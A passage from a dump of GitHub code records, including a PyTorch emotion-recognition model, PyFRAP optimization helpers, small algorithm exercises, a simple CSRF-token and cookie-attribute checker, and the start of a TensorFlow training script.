super(MatchingAttention, self).__init__()\n assert att_type!='concat' or alpha_dim!=None\n assert att_type!='dot' or mem_dim==cand_dim\n self.mem_dim = mem_dim\n self.cand_dim = cand_dim\n self.att_type = att_type\n if att_type=='general':\n self.transform = nn.Linear(cand_dim, mem_dim, bias=False)\n if att_type=='general2':\n self.transform = nn.Linear(cand_dim, mem_dim, bias=True)\n #torch.nn.init.normal_(self.transform.weight,std=0.01)\n elif att_type=='concat':\n self.transform = nn.Linear(cand_dim+mem_dim, alpha_dim, bias=False)\n self.vector_prod = nn.Linear(alpha_dim, 1, bias=False)\n\n def forward(self, M, x, mask=None):\n \"\"\"\n M -> (seq_len, batch, mem_dim)\n x -> (batch, cand_dim)\n mask -> (batch, seq_len)\n \"\"\"\n if type(mask)==type(None):\n mask = torch.ones(M.size(1), M.size(0)).type(M.type())\n\n if self.att_type=='dot':\n # vector = cand_dim = mem_dim\n M_ = M.permute(1,2,0) # batch, vector, seqlen\n x_ = x.unsqueeze(1) # batch, 1, vector\n alpha = F.softmax(torch.bmm(x_, M_), dim=2) # batch, 1, seqlen\n elif self.att_type=='general':\n M_ = M.permute(1,2,0) # batch, mem_dim, seqlen\n x_ = self.transform(x).unsqueeze(1) # batch, 1, mem_dim\n alpha = F.softmax(torch.bmm(x_, M_), dim=2) # batch, 1, seqlen\n elif self.att_type=='general2':\n M_ = M.permute(1,2,0) # batch, mem_dim, seqlen\n x_ = self.transform(x).unsqueeze(1) # batch, 1, mem_dim\n mask_ = mask.unsqueeze(2).repeat(1, 1, self.mem_dim).transpose(1, 2) # batch, seq_len, mem_dim\n M_ = M_ * mask_\n alpha_ = torch.bmm(x_, M_)*mask.unsqueeze(1)\n alpha_ = torch.tanh(alpha_)\n alpha_ = F.softmax(alpha_, dim=2)\n # alpha_ = F.softmax((torch.bmm(x_, M_))*mask.unsqueeze(1), dim=2) # batch, 1, seqlen\n alpha_masked = alpha_*mask.unsqueeze(1) # batch, 1, seqlen\n alpha_sum = torch.sum(alpha_masked, dim=2, keepdim=True) # batch, 1, 1\n alpha = alpha_masked/alpha_sum # batch, 1, 1 ; normalized\n #import ipdb;ipdb.set_trace()\n else:\n M_ = M.transpose(0,1) # batch, seqlen, mem_dim\n x_ = x.unsqueeze(1).expand(-1,M.size()[0],-1) # batch, seqlen, cand_dim\n M_x_ = torch.cat([M_,x_],2) # batch, seqlen, mem_dim+cand_dim\n mx_a = F.tanh(self.transform(M_x_)) # batch, seqlen, alpha_dim\n alpha = F.softmax(self.vector_prod(mx_a),1).transpose(1,2) # batch, 1, seqlen\n\n attn_pool = torch.bmm(alpha, M.transpose(0,1))[:,0,:] # batch, mem_dim\n return attn_pool, alpha\n\n\nclass Attention(nn.Module):\n def __init__(self, embed_dim, hidden_dim=None, out_dim=None, n_head=1, score_function='dot_product', dropout=0):\n ''' Attention Mechanism\n :param embed_dim:\n :param hidden_dim:\n :param out_dim:\n :param n_head: num of head (Multi-Head Attention)\n :param score_function: scaled_dot_product / mlp (concat) / bi_linear (general dot)\n :return (?, q_len, out_dim,)\n '''\n super(Attention, self).__init__()\n if hidden_dim is None:\n hidden_dim = embed_dim // n_head\n if out_dim is None:\n out_dim = embed_dim\n self.embed_dim = embed_dim\n self.hidden_dim = hidden_dim\n self.n_head = n_head\n self.score_function = score_function\n self.w_k = nn.Linear(embed_dim, n_head * hidden_dim)\n self.w_q = nn.Linear(embed_dim, n_head * hidden_dim)\n self.proj = nn.Linear(n_head * hidden_dim, out_dim)\n self.dropout = nn.Dropout(dropout)\n if score_function == 'mlp':\n self.weight = nn.Parameter(torch.Tensor(hidden_dim*2))\n elif self.score_function == 'bi_linear':\n self.weight = nn.Parameter(torch.Tensor(hidden_dim, hidden_dim))\n else: # dot_product / scaled_dot_product\n self.register_parameter('weight', None)\n self.reset_parameters()\n\n def reset_parameters(self):\n stdv = 1. / math.sqrt(self.hidden_dim)\n if self.weight is not None:\n self.weight.data.uniform_(-stdv, stdv)\n\n def forward(self, k, q):\n if len(q.shape) == 2: # q_len missing\n q = torch.unsqueeze(q, dim=1)\n if len(k.shape) == 2: # k_len missing\n k = torch.unsqueeze(k, dim=1)\n mb_size = k.shape[0] # ?\n k_len = k.shape[1]\n q_len = q.shape[1]\n # k: (?, k_len, embed_dim,)\n # q: (?, q_len, embed_dim,)\n # kx: (n_head*?, k_len, hidden_dim)\n # qx: (n_head*?, q_len, hidden_dim)\n # score: (n_head*?, q_len, k_len,)\n # output: (?, q_len, out_dim,)\n kx = self.w_k(k).view(mb_size, k_len, self.n_head, self.hidden_dim)\n kx = kx.permute(2, 0, 1, 3).contiguous().view(-1, k_len, self.hidden_dim)\n qx = self.w_q(q).view(mb_size, q_len, self.n_head, self.hidden_dim)\n qx = qx.permute(2, 0, 1, 3).contiguous().view(-1, q_len, self.hidden_dim)\n if self.score_function == 'dot_product':\n kt = kx.permute(0, 2, 1)\n score = torch.bmm(qx, kt)\n elif self.score_function == 'scaled_dot_product':\n kt = kx.permute(0, 2, 1)\n qkt = torch.bmm(qx, kt)\n score = torch.div(qkt, math.sqrt(self.hidden_dim))\n elif self.score_function == 'mlp':\n kxx = torch.unsqueeze(kx, dim=1).expand(-1, q_len, -1, -1)\n qxx = torch.unsqueeze(qx, dim=2).expand(-1, -1, k_len, -1)\n kq = torch.cat((kxx, qxx), dim=-1) # (n_head*?, q_len, k_len, hidden_dim*2)\n # kq = torch.unsqueeze(kx, dim=1) + torch.unsqueeze(qx, dim=2)\n score = torch.tanh(torch.matmul(kq, self.weight))\n elif self.score_function == 'bi_linear':\n qw = torch.matmul(qx, self.weight)\n kt = kx.permute(0, 2, 1)\n score = torch.bmm(qw, kt)\n else:\n raise RuntimeError('invalid score_function')\n \n score = F.softmax(score, dim=0)\n output = torch.bmm(score, kx) # (n_head*?, q_len, hidden_dim)\n output = torch.cat(torch.split(output, mb_size, dim=0), dim=-1) # (?, q_len, n_head*hidden_dim)\n output = self.proj(output) # (?, q_len, out_dim)\n output = self.dropout(output)\n return output, score\n \nclass CNNFeatureExtractor(nn.Module):\n \n def __init__(self, vocab_size, embedding_dim, output_size, filters, kernel_sizes, dropout):\n super(CNNFeatureExtractor, self).__init__()\n\n self.embedding = nn.Embedding(vocab_size, embedding_dim)\n self.convs = nn.ModuleList([nn.Conv1d(in_channels=embedding_dim, out_channels=filters, kernel_size=K) for K in kernel_sizes])\n self.dropout = nn.Dropout(dropout)\n self.fc = nn.Linear(len(kernel_sizes) * filters, output_size)\n self.feature_dim = output_size\n\n\n def init_pretrained_embeddings_from_numpy(self, pretrained_word_vectors):\n self.embedding.weight = nn.Parameter(torch.from_numpy(pretrained_word_vectors).float())\n # if is_static:\n self.embedding.weight.requires_grad = False\n\n\n def forward(self, x, umask):\n \n num_utt, batch, num_words = x.size()\n \n x = x.type(LongTensor) # (num_utt, batch, num_words)\n x = x.view(-1, num_words) # (num_utt, batch, num_words) -> (num_utt * batch, num_words)\n emb = self.embedding(x) # (num_utt * batch, num_words) -> (num_utt * batch, num_words, embedding_dim) \n emb = emb.transpose(-2, -1).contiguous() # (num_utt * batch, num_words, embedding_dim) -> (num_utt * batch, embedding_dim, num_words) \n \n convoluted = [F.relu(conv(emb)) for conv in self.convs] \n pooled = [F.max_pool1d(c, c.size(2)).squeeze() for c in convoluted] \n concated = torch.cat(pooled, 1)\n features = F.relu(self.fc(self.dropout(concated))) # (num_utt * batch, embedding_dim//2) -> (num_utt * batch, output_size)\n features = features.view(num_utt, batch, -1) # (num_utt * batch, output_size) -> (num_utt, batch, output_size)\n mask = umask.unsqueeze(-1).type(FloatTensor) # (batch, num_utt) -> (batch, num_utt, 1)\n mask = mask.transpose(0, 1) # (batch, num_utt, 1) -> (num_utt, batch, 1)\n mask = mask.repeat(1, 1, self.feature_dim) # (num_utt, batch, 1) -> (num_utt, batch, output_size)\n features = (features * mask) # (num_utt, batch, output_size) -> (num_utt, batch, output_size)\n\n return features\n\n\nclass LSTMModel(nn.Module):\n\n def __init__(self, D_m, D_e, D_h, n_classes=7, dropout=0.5, attention=False):\n \n super(LSTMModel, self).__init__()\n \n self.dropout = nn.Dropout(dropout)\n self.attention = attention\n self.lstm = nn.LSTM(input_size=D_m, hidden_size=D_e, num_layers=2, bidirectional=True, dropout=dropout)\n \n if self.attention:\n self.matchatt = MatchingAttention(2*D_e, 2*D_e, att_type='general2')\n \n self.linear = nn.Linear(2*D_e, D_h)\n self.smax_fc = nn.Linear(D_h, n_classes)\n\n def forward(self, U, qmask, umask):\n \"\"\"\n U -> seq_len, batch, D_m\n qmask -> seq_len, batch, party\n \"\"\"\n emotions, hidden = self.lstm(U)\n alpha, alpha_f, alpha_b = [], [], []\n \n if self.attention:\n att_emotions = []\n alpha = []\n for t in emotions:\n att_em, alpha_ = self.matchatt(emotions, t, mask=umask)\n att_emotions.append(att_em.unsqueeze(0))\n alpha.append(alpha_[:, 0, :])\n att_emotions = torch.cat(att_emotions, dim=0)\n hidden = F.relu(self.linear(att_emotions))\n else:\n hidden = F.relu(self.linear(emotions))\n \n hidden = self.dropout(hidden)\n log_prob = F.log_softmax(self.smax_fc(hidden), 2)\n return log_prob, alpha, alpha_f, alpha_b\n \n \nclass E2ELSTMModel(nn.Module):\n\n def __init__(self, D_e, D_h,\n vocab_size, embedding_dim=300, \n cnn_output_size=100, cnn_filters=50, cnn_kernel_sizes=(3,4,5), cnn_dropout=0.5,\n n_classes=7, dropout=0.5, attention=False):\n \n super(E2ELSTMModel, self).__init__()\n\n self.cnn_feat_extractor = CNNFeatureExtractor(vocab_size, embedding_dim, cnn_output_size, cnn_filters, cnn_kernel_sizes, cnn_dropout)\n \n self.dropout = nn.Dropout(dropout)\n self.attention = attention\n self.lstm = nn.LSTM(input_size=cnn_output_size, hidden_size=D_e, num_layers=2, bidirectional=True, dropout=dropout)\n \n if self.attention:\n self.matchatt = MatchingAttention(2*D_e, 2*D_e, att_type='general2')\n \n self.linear = nn.Linear(2*D_e, D_h)\n self.smax_fc = nn.Linear(D_h, n_classes)\n \n def init_pretrained_embeddings(self, pretrained_word_vectors):\n self.cnn_feat_extractor.init_pretrained_embeddings_from_numpy(pretrained_word_vectors)\n\n def forward(self, input_seq, qmask, umask):\n \"\"\"\n U -> seq_len, batch, D_m\n qmask -> seq_len, batch, party\n \"\"\"\n U = self.cnn_feat_extractor(input_seq, umask)\n \n emotions, hidden = self.lstm(U)\n alpha, alpha_f, alpha_b = [], [], []\n \n if self.attention:\n att_emotions = []\n alpha = []\n for t in emotions:\n att_em, alpha_ = self.matchatt(emotions, t, mask=umask)\n att_emotions.append(att_em.unsqueeze(0))\n alpha.append(alpha_[:, 0, :])\n att_emotions = torch.cat(att_emotions, dim=0)\n hidden = F.relu(self.linear(att_emotions))\n else:\n hidden = F.relu(self.linear(emotions))\n \n hidden = self.dropout(hidden)\n log_prob = F.log_softmax(self.smax_fc(hidden), 2)\n return log_prob, alpha, alpha_f, alpha_b\n ","repo_name":"declare-lab/conv-emotion","sub_path":"bc-LSTM-pytorch/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14968,"program_lang":"python","lang":"en","doc_type":"code","stars":1210,"dataset":"github-code","pt":"72"}
+{"seq_id":"28482154904","text":"# https://leetcode.com/problems/find-three-consecutive-integers-that-sum-to-a-given-number/\n\nclass Solution:\n def sumOfThree(self, num: int) -> List[int]:\n third = (num - 3) / 3\n if third % 1 == 0:\n third = int(third)\n return [third, third + 1, third + 2]\n else:\n return []\n","repo_name":"nawrazi/competitive-programming","sub_path":"week_12/three-consecutive-integers-with-given-sum.py","file_name":"three-consecutive-integers-with-given-sum.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"25782680822","text":"import numpy as np\n\n#PyFRAP\nimport pyfrp_fit_module \n\nfrom pyfrp_term_module import *\n\n#===========================================================================================================================================================================\n#Module Functions\n#===========================================================================================================================================================================\n\ndef constrObjFunc(x,fit,debug,ax,returnFit):\n\t\n\t\"\"\"Objective function when using Constrained Nelder-Mead.\n\t\n\tCalls :py:func:`pyfrp.modules.pyfrp_optimization_module.xTransform` to transform x into\n\tconstrained version, then uses :py:func:`pyfrp.modules.pyfrp_fit_module.FRAPObjFunc` to \n\tfind SSD.\n\t\n\tArgs:\n\t\tx (list): Input vector, consiting of [D,(prod),(degr)].\n\t\tfit (pyfrp.subclasses.pyfrp_fit): Fit object.\n\t\tdebug (bool): Display debugging output and plots.\n\t\tax (matplotlib.axes): Axes to display plots in.\n\t\treturnFit (bool): Return fit instead of SSD.\n\t\n\tReturns:\n\t\t float: SSD of fit. Except ``returnFit==True``, then will return fit itself. \n\t\"\"\"\n\t\n\t\n\tLBs, UBs = buildBoundLists(fit)\n\t\n\tx=xTransform(x,LBs,UBs)\n\n\tssd=pyfrp_fit_module.FRAPObjFunc(x,fit,debug,ax,returnFit)\n\t\n\treturn ssd\n\ndef xTransform(x,LB,UB):\n\t\n\t\"\"\"Transforms ``x`` into constrained form, obeying upper \n\tbounds ``UB`` and lower bounds ``LB``.\n\t\n\t.. note:: Will add tiny offset to LB(D), to avoid singularities.\n\t\n\tIdea taken from http://www.mathworks.com/matlabcentral/fileexchange/8277-fminsearchbnd--fminsearchcon\n\t\n\tArgs:\n\t\tx (list): Input vector, consiting of [D,(prod),(degr)].\n\t\tLB (list): List of lower bounds for ``D,prod,degr``.\n\t\tUB (list): List of upper bounds for ``D,prod,degr``.\n\t\n\tReturns:\n\t\tlist: Transformed x-values. \n\t\"\"\"\n\t\n\t#Make sure everything is float\n\tx=np.asarray(x,dtype=np.float64)\n\tLB=np.asarray(LB,dtype=np.float64)\n\tUB=np.asarray(UB,dtype=np.float64)\n\t\n\t#Check if LB_D==0, then add a little noise to it so we do not end up with xtrans[D]==0 and later have singularities when scaling tvec\n\tif LB[0]==0:\n\t\tLB[0]=1E-10\n\t\n\t#Determine number of parameters to be fitted\n\tnparams=len(x)\n\n\t#Make empty vector\n\txtrans = np.zeros(np.shape(x))\n\t\n\t# k allows some variables to be fixed, thus dropped from the\n\t# optimization.\n\tk=0\n\n\tfor i in range(nparams):\n\n\t\t#Upper bound only\n\t\tif UB[i]!=None and LB[i]==None:\n\t\t\n\t\t\txtrans[i]=UB[i]-x[k]**2\n\t\t\tk=k+1\n\t\t\t\n\t\t#Lower bound only\t\n\t\telif UB[i]==None and LB[i]!=None:\n\t\t\t\n\t\t\txtrans[i]=LB[i]+x[k]**2\n\t\t\tk=k+1\n\t\t\n\t\t#Both bounds\n\t\telif UB[i]!=None and LB[i]!=None:\n\t\t\t\n\t\t\txtrans[i] = (np.sin(x[k])+1.)/2.*(UB[i] - LB[i]) + LB[i]\n\t\t\txtrans[i] = max([LB[i],min([UB[i],xtrans[i]])])\n\t\t\tk=k+1\n\t\t\n\t\t#No bounds\n\t\telif UB[i]==None and LB[i]==None:\n\t\t\n\t\t\txtrans[i] = x[k]\n\t\t\tk=k+1\n\t\t\t\n\t\t#Note: The original file has here another case for fixed variable, but since we made the decision earlier which when we call frap_fitting, we don't need this here.\n\t\n\treturn xtrans\t\n\t\t\ndef transformX0(x0,LB,UB):\n\t\n\t\"\"\"Transforms ``x0`` into constrained form, obeying upper \n\tbounds ``UB`` and lower bounds ``LB``.\n\t\n\tIdea taken from http://www.mathworks.com/matlabcentral/fileexchange/8277-fminsearchbnd--fminsearchcon\n\t\n\tArgs:\n\t\tx0 (list): Input initial vector, consiting of [D,(prod),(degr)].\n\t\tLB (list): List of lower bounds for ``D,prod,degr``.\n\t\tUB (list): List of upper bounds for ``D,prod,degr``.\n\t\n\tReturns:\n\t\tlist: Transformed x-values. \n\t\"\"\"\n\t\n\tx0u = list(x0)\n\t\n\tnparams=len(x0)\n\t\n\tk=0\n\tfor i in range(nparams):\n\t\t\n\t\t#Upper bound only\n\t\tif UB[i]!=None and LB[i]==None:\n\t\t\tif UB[i]<=x0[i]:\n\t\t\t\tx0u[k]=0\n\t\t\telse:\n\t\t\t\tx0u[k]=sqrt(UB[i]-x0[i])\t\n\t\t\tk=k+1\n\t\t\t\n\t\t#Lower bound only\n\t\telif UB[i]==None and LB[i]!=None:\n\t\t\tif LB[i]>=x0[i]:\n\t\t\t\tx0u[k]=0\n\t\t\telse:\n\t\t\t\tx0u[k]=np.sqrt(x0[i]-LB[i])\t\n\t\t\tk=k+1\n\t\t\n\t\t\n\t\t#Both bounds\n\t\telif UB[i]!=None and LB[i]!=None:\n\t\t\tif UB[i]<=x0[i]:\n\t\t\t\tx0u[k]=np.pi/2\n\t\t\telif LB[i]>=x0[i]:\n\t\t\t\tx0u[k]=-np.pi/2\n\t\t\telse:\n\t\t\t\tx0u[k] = 2*(x0[i] - LB[i])/(UB[i]-LB[i]) - 1;\n\t\t\t\t#shift by 2*pi to avoid problems at zero in fminsearch otherwise, the initial simplex is vanishingly small\n\t\t\t\tx0u[k] = 2*np.pi+np.arcsin(max([-1,min(1,x0u[k])]));\n\t\t\tk=k+1\n\t\t\n\t\t#No bounds\n\t\telif UB[i]==None and LB[i]==None:\n\t\t\tx0u[k] = x[i]\n\t\t\tk=k+1\n\t\n\treturn x0u\n\ndef buildBoundLists(fit):\n\t\n\t\"\"\"Builds list of lower bounds and upper bounds.\n\t\n\tArgs:\n\t\tfit (pyfrp.subclasses.pyfrp_fit): Fit object.\n\t\t\n\tReturns:\n\t\ttuple: Tuple containing: \n\t\t\n\t\t\t* LBs (list): List of lower bounds.\n\t\t\t* UBs (list): List of upper bounds.\n\t\t\t\n\t\n\t\n\t\"\"\"\n\t\n\tLBs=[fit.LBD]+int(fit.fitProd)*[fit.LBProd]+int(fit.fitDegr)*[fit.LBDegr]+len(fit.ROIsFitted)*[fit.LBEqu]\n\tUBs=[fit.UBD]+int(fit.fitProd)*[fit.UBProd]+int(fit.fitDegr)*[fit.UBDegr]+len(fit.ROIsFitted)*[fit.UBEqu]\n\t\n\treturn LBs,UBs","repo_name":"alexblaessle/PyFRAP","sub_path":"pyfrp/modules/pyfrp_optimization_module.py","file_name":"pyfrp_optimization_module.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"}
+{"seq_id":"2555278730","text":"\"\"\"\nВ первой строке даны целое число 1≤n≤105 1 \\le n \\le 10^5 1≤n≤105\nи массив A[1…n] A[1 \\ldots n] A[1…n] из n n n различных натуральных чисел, \nне превышающих 109 10^9 109, в порядке возрастания, \nво второй — целое число 1≤k≤105 1 \\le k \\le 10^5 1≤k≤105 и k k k\nнатуральных чисел b1,…,bk b_1, \\ldots, b_k b1,…,bk, \nне превышающих 109 10^9 109. \nДля каждого i i i от 1 до k k k \nнеобходимо вывести индекс 1≤j≤n 1 \\le j \\le n 1≤j≤n,\nдля которого A[j]=bi A[j]=b_i A[j]=bi, или −1 -1 −1, если такого j j j нет.\n\nSample Input:\n5 1 5 8 12 13\n5 8 1 23 1 11\n\nSample Output:\n3 1 -1 1 -1\n\"\"\"\n\n# Решение\n\ndef binary_search(sort_list, k):\n left = 0\n right = len(sort_list) - 1\n while left <= right:\n middle = (left + right) // 2\n if sort_list[middle] == k:\n return middle + 1\n elif sort_list[middle] > k:\n right = middle - 1\n else:\n left = middle + 1\n return -1\n\ndef main():\n n, *a = map(int, input().split())\n assert n == len(a)\n a = sorted(a)\n m, *b = map(int, input().split())\n assert m == len(b)\n for i in b:\n print(binary_search(a, i), end=' ')\n\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"IBRA110/Algorithms","sub_path":"Binary_search.py","file_name":"Binary_search.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"29405588863","text":"import requests\nimport sys\nimport subprocess\nimport os\nimport http.client\nfrom colorama import Fore, Back, Style\nimport time\n#from http import cookies\nfrom http.cookiejar import CookieJar, DefaultCookiePolicy\n\ndef update_progress(progress):\n length = 100\n block = int(round(length*progress))\n display = \"{0}\\r{1}[{2}]{3}\".format(Fore.GREEN,\" \"*15,\"-\"*block + \" \"*(length-block),Fore.RESET) #round(progress*100, 2)\n sys.stdout.write(display)\n sys.stdout.flush()\n \ndef actionCall(action):\n print(Fore.BLUE+action+Style.RESET_ALL)\n for i in range(100):\n time.sleep(0.05)\n update_progress(i/100.0)\n update_progress(1)\n print(\"\\n\")\n \ndef goBack():\n print(Fore.WHITE+\"\\n[+] Protection Against Cross Site Request Forgery Checked \"+Style.RESET_ALL)\n while True:\n reTest=input(Fore.GREEN+\"\\n>> Do You Want To Test For XSRF Again ? (y/N) : \"+Fore.RESET)\n if reTest=='y' or reTest=='Y':\n xsrfInfo() #Going Back to test For XSRF check\n elif reTest=='n' or reTest=='N' or reTest=='':\n while True:\n choice=input(Fore.GREEN+\"\\n>> Press Q to Quit or ENTER to go back to index : \"+Style.RESET_ALL)\n if(choice=='Q' or choice=='q'):\n sys.exit() #Exit Program\n elif choice=='':\n print(Fore.BLUE+\"[-] Going back to the Index of Medium Level Vulnerability Scanner\")\n return\n else:\n print(Fore.RED+Style.DIM+\"[X] Invalid choice, enter Again : \"+Style.RESET_ALL)\n else :\n print(Fore.RED+Style.DIM+\"[X] Invalid choice, Enter Again : \"+Style.RESET_ALL)\n\ndef checklink(link):\n #To check the correctness of link\n try:\n r=requests.get(link)\n except Exception:\n print(Fore.RED+Style.DIM+\"[X] Wrong Link Given, Try Again.\"+Style.RESET_ALL)\n xsrfInfo()\n\ndef xsrfInfo():\n link=input(Fore.GREEN+\"\\n>> Enter The URL of Login Page : \"+Fore.RESET) #\"http://www.quora.com\"\n if 'http' not in link:\n link=\"http://\"+link\n print(Fore.MAGENTA+\"[] Checking The Correctness of Given URL\")\n checklink(link)\n #since the url is correct:\n print(Fore.BLUE+\"[] The Given URL is correct\")\n print(\"[] Sending url request\")\n r = requests.get(link) #sendind the given link request\n print(Fore.WHITE+\"[.] Valid URL Given\\n\")\n actionCall(\"[!] Intiating check to find the presence of CSRF Token\")\n #print(r.cookies)\n if 'csrftoken' in r.cookies :\n print(Fore.GREEN+\"[@]CSRF TOKEN PRESENT!\",end=' ')\n csrftoken = r.cookies['csrftoken']\n print(Fore.CYAN+\"Value : \"+csrftoken)\n elif 'XSRF-TOKEN' in r.cookies :\n print(Fore.GREEN+\"[@]CSRF TOKEN PRESENT!\",end=' ')\n csrftoken = r.cookies['XSRF-TOKEN']\n print(Fore.CYAN+\"Value : \"+csrftoken)\n elif 'X-CSRF-Token' in r.cookies :\n print(Fore.GREEN+\"[@]CSRF TOKEN PRESENT!\",end=' ')\n csrftoken = r.cookies['XSRF-TOKEN']\n print(Fore.CYAN+\"Value : \"+csrftoken)\n else :\n print(Fore.RED+\"\\n[!]Unable to find CSRF Token!\\n\")\n\n actionCall(\"\\n[!] Intiating cookies configuration check Defending against CSRF!\")\n print(Fore.WHITE+\"[@]Cookie Name \\t | \\t Attribute\"+Fore.YELLOW)\n for cookie in r.cookies:\n cookieData=cookie.__dict__\n print(\"[.]\"+cookie.name,end=\"\\t\\t\\t\")\n chData=cookie._rest\n print(chData)\n print(Fore.RED+\"\\n[!] Best Configuration to defend against CSRF : SameSite=Strict\") \n goBack()\n\n","repo_name":"gunishachhabra/scanGo","sub_path":"xsrfCheck.py","file_name":"xsrfCheck.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20693612388","text":"import os\nimport time\nimport json\nimport argparse\nimport importlib\nimport multiprocessing\n\nimport logging\nfrom logging import handlers\n\nfrom datetime import datetime\nfrom definitions import LOG_DIR, WEIGHT_DIR, DATA_DIR\nfrom utils import dataset\nfrom utils.voting import voting\n# from utils.plot import plot_spectrogram\nfrom utils.encoder import NumpyEncoder\nfrom utils.explainable_block import explainable_block\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.callbacks import TensorBoard\n\nLOG = logging.getLogger(__name__)\n\n\ndef initLog(debug=False):\n logging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s',\n datefmt='%Y-%m-%d %H:%M',\n handlers=[logging.StreamHandler(), handlers.RotatingFileHandler('output.log', \"w\", 1024 * 1024 * 100, 3, \"utf-8\")]\n )\n LOG.setLevel(logging.DEBUG if debug else logging.INFO)\n tf.get_logger().setLevel('ERROR')\n\n\ndef get_optimizer(optimizer, lr):\n optimizer = optimizer.lower()\n if optimizer == 'adadelta':\n return tf.optimizers.Adadelta() if lr == 0 else tf.optimizers.Adadelta(learning_rate=lr)\n elif optimizer == 'adagrad':\n return tf.optimizers.Adagrad() if lr == 0 else tf.optimizers.Adagrad(learning_rate=lr)\n elif optimizer == 'adam':\n return tf.optimizers.Adam() if lr == 0 else tf.optimizers.Adam(learning_rate=lr)\n elif optimizer == 'adamax':\n return tf.optimizers.Adamax() if lr == 0 else tf.optimizers.Adamax(learning_rate=lr)\n elif optimizer == 'sgd':\n return tf.optimizers.SGD() if lr == 0 else tf.optimizers.SGD(learning_rate=lr)\n elif optimizer == 'rmsprop':\n return tf.optimizers.RMSprop() if lr == 0 else tf.optimizers.RMSprop(learning_rate=lr)\n else:\n raise Exception(\"Not valid optimizer!\")\n\n\ndef run(\n model,\n train_ds_path,\n val_ds_path,\n train_ds_size=None,\n train_ds_indexes=None, # type list => index of dataset 取第0,1,3,5個資料 => [0, 1, 3, 5]\n additional_ds_path=None,\n additional_ds_size=None,\n additional_ds_indexes=None, # type list => index of dataset 取第0,1,3,5個資料 => [0, 1, 3, 5]\n test_ds_paths=[],\n classes=2, # 分類類別\n sample_size=[32000, 1], # 訓練音訊頻率\n epochs=160,\n batch_size=150,\n times=10, # 總共跑幾次\n tag=None,\n lr=1.0, # learning rate\n optimizer='adadelta',\n loss='categorical_crossentropy',\n metrics=['accuracy'],\n num_gpus=2, # number of gpus\n training=True,\n debug=False,\n explainable=False,\n filter_x=45,\n filter_y=120,\n magnification=4,\n seed=None,\n use_saved_inital_weight=False,\n enabled_transfer_learning=False,\n enabled_transfer_learning_weights=[],\n verbose=1\n):\n initLog(debug)\n Model = importlib.import_module(f'models.{model}').__getattribute__(model)\n start = time.time()\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = ','.join([str(i) for i in range(num_gpus)])\n if tag is None:\n training = True\n tag = datetime.now().strftime(\"%Y-%m-%d_%H\")\n tag += '_' + model + '_' + train_ds_path.replace('.', '_').replace(' ', '_').replace('/', '_') + f'_{num_gpus}GPU'\n\n input_shape = tuple(sample_size)\n tags = []\n LOG.info(f'training set: {train_ds_path}')\n LOG.info(f'testing sets: {test_ds_paths}')\n\n # Run thread training --------------------------------------------------------------------------------------------\n def train(t, q):\n # Config gpus\n gpus = tf.config.experimental.list_physical_devices('GPU')\n if gpus:\n try:\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n except RuntimeError as e:\n LOG.error(e)\n\n # Load dataset\n if train_ds_indexes is not None and isinstance(list(train_ds_indexes), list):\n train_ds = dataset.create_new_dataset_from_index(train_ds_path, list(train_ds_indexes))\n else:\n train_ds = dataset.load(train_ds_path)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n val_ds = dataset.load(val_ds_path)\n dataset_length = [i for i, _ in enumerate(val_ds)][-1] + 1\n if t == 0:\n LOG.info(f'{str(val_ds)} size: {dataset_length}')\n\n # Tensorboard\n tensorboard_callback = TensorBoard(log_dir=f'{LOG_DIR}/{tag}/{t}')\n\n # Add more training dataset\n if additional_ds_path:\n if additional_ds_indexes is not None and isinstance(list(additional_ds_indexes), list):\n additional_ds = dataset.create_new_dataset_from_index(additional_ds_path, list(additional_ds_indexes))\n else:\n additional_ds = dataset.load(additional_ds_path)\n\n if additional_ds_size is not None:\n dataset_length = [i for i, _ in enumerate(additional_ds)][-1] + 1\n additional_ds = additional_ds.shuffle(\n dataset_length, seed=seed, reshuffle_each_iteration=False\n ).take(additional_ds_size if additional_ds_size < dataset_length else dataset_length)\n\n if enabled_transfer_learning:\n train_ds = additional_ds\n else:\n train_ds = train_ds.concatenate(additional_ds)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n train_ds = train_ds.shuffle(dataset_length, seed=seed, reshuffle_each_iteration=False)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n\n if train_ds_size is not None:\n train_ds = train_ds.shuffle(\n dataset_length, seed=seed, reshuffle_each_iteration=False\n ).take(train_ds_size if train_ds_size < dataset_length else dataset_length)\n\n dataset_length = [i for i, _ in enumerate(train_ds)][-1] + 1\n\n if t == 0:\n LOG.info(f'{str(train_ds)} size: {dataset_length}')\n\n train_ds = train_ds.batch(batch_size).shuffle(dataset_length, reshuffle_each_iteration=True)\n val_ds = val_ds.batch(batch_size)\n\n strategy = tf.distribute.MirroredStrategy(devices=[f'/gpu:{i}' for i in range(num_gpus)])\n with strategy.scope():\n _model = Model(input_shape, classes).model()\n _model.compile(loss=loss, optimizer=get_optimizer(optimizer, lr), metrics=metrics)\n if t == 0:\n _model.summary(print_fn=LOG.info)\n if use_saved_inital_weight:\n if os.path.exists(os.path.join(WEIGHT_DIR, f'{model}_inital_weights.h5')):\n LOG.info(f\"load {model} inital weight\")\n _model.load_weights(os.path.join(WEIGHT_DIR, f'{model}_inital_weights.h5'))\n else:\n LOG.info(f\"create {model} inital weight\")\n _model.save_weights(os.path.join(WEIGHT_DIR, f'{model}_inital_weights.h5'))\n\n if enabled_transfer_learning and enabled_transfer_learning_weights:\n _model.load_weights(os.path.join(WEIGHT_DIR, enabled_transfer_learning_weights[t % len(enabled_transfer_learning_weights)] + '.h5'))\n\n LOG.info(f'Training {tag}-{t} 